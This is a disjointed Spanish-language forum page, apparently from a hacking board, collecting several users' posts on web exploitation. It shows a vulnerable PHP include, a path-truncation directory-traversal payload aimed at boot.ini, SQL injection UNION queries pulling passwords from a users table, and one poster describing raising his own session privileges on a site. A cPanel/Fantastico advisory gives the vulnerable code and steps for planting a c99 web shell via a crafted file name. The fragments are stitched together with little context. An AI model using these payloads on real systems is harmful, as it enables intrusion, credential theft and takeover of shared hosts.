la web es tuya? tienes el código del proyecto? por echarte una mano... pq así a ciegas, es dificil!
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
<?php
$file = "pagina/".$_GET['file'].".html";
include($file);
?>
include("includes/a.php");
include("includes/a.php/./././././");
aaaaaaaaaaaaaaaaaa(... 100000 vecse más xD)aaaaa
se truncaría a un tamaño predeterminado de 4k en la mayoria de sistemas ( segun el paper, aunque yo tenia entendido que eran 256 caracteres... ).pagina/asdf/../../../../../../boot.ini/././././././(un puñao de veces más xD)/././.html
$file = $_GET['file'];
if(substr($file, -4. 4)!=".txt"){
include("/includes".$file);
}else{
die("Lo siento, nada de archivos de texto");
}
Cita de: ctlon en 4 Septiembre 2010, 23:21 PM
a sido solo como ejemplo, como ya comente rompo la cadena incluso pongo bestialidades y no salta un solo error, es lo que me tiene despistado.
por ejemplo esto:CitarSELECT * FROM sd_sessions WHERE sessionid = '819545cc8a2769483167db653ed0a0d9' union select 1,2,3,4,5,password from sd_users where username='yo'
en la consulta desde el archivo php no genera ninguna coincidencia, pero si lo pongo a mano en mysql funciona bien.
EDITO:
ahora mirando mejor he logrado modificar privilegios de mi sesion, pero....... seria necesario eliminar los and de la consulta original que es lo que me esta creando problemas. voy a probar a ver si hay suerte.
Versiones afectadas: cPanel <= 11.25
Efectos: Atacantes debidamente logueados pueden conseguir acceso a archivos restringidos, bypasseando mod_security, Safemod, y funciones desabilitadas.
Impacto: Critico, explotable localmente y una vez logueados.
Usuarios de hosts compartidos (/virtuales) pueden acceder a otras webs del sistema, así como ejecutar funciones prohibidas (exec, system, passthru... ).
Defacing múltiples, acceso a otros servidores internos etc...
Line 529 :
function Show_Notice ( $Script , $Version_Numbers )
{
$Home_Directory = $GLOBALS['enc_cpanel_homedir'] ;
if ( substr ( $Home_Directory , -1 ) != '/' )
{
$Home_Directory = $Home_Directory . '/' ;
}
$Files = Array ( ) ;
$Directory = $Home_Directory . '.fantasticodata/' . $Script . '/' ; // AQUI!
$Files = Get_Files ( $Directory ) ;
if ( !empty ( $Files ) AND is_array ( $Files ) )
{
$Temporary = natcasesort ( $Files ) ;
}
foreach ( $Files As $File )
{
$Name = '' ;
$Path = '' ;
if ( strstr ( $File , "|" ) )
{
$Name = explode ( "|" , $File ) ;
$Name = $Name[1] ;
}
else
{
$Name = $File ;
}
/* Debugging */ // echo $Directory . $File . '<br/>' ;
if ( is_file ( $Directory . $File ) )
{
include $Directory . $File ;
if ( !empty ( $thisscriptpath ) )
{
$Path = $thisscriptpath ;
}
else
{
$Path = $Home_Directory . 'public_html/' . $Name . '/' ;
}
if ( substr ( $Path , -1 ) != '/' )
{
$Path = $Path . '/' ;
}
/* Debugging */ // echo $Path . 'fantversion.php<br/><br/>' ;
if ( is_file ( $Path . 'fantversion.php' ) )
{
include $Path . 'fantversion.php' ;
if ( !empty ( $version ) )
{
if ( in_array ( $version , $Version_Numbers ) )
{
return 'Yes' ;
}
}
}
}
}
return 'No' ;
}
web.com|archivo
, por ejemplo si mi web es www.tragantras.com debería crear un archivo que se llamase: tragantras.com|c99 (puede llamarse c99.php sii..., pero al caso da igual).$sessionid = $_COOKIE['sessionid'];
-1 union all select 1,2,3,4,n--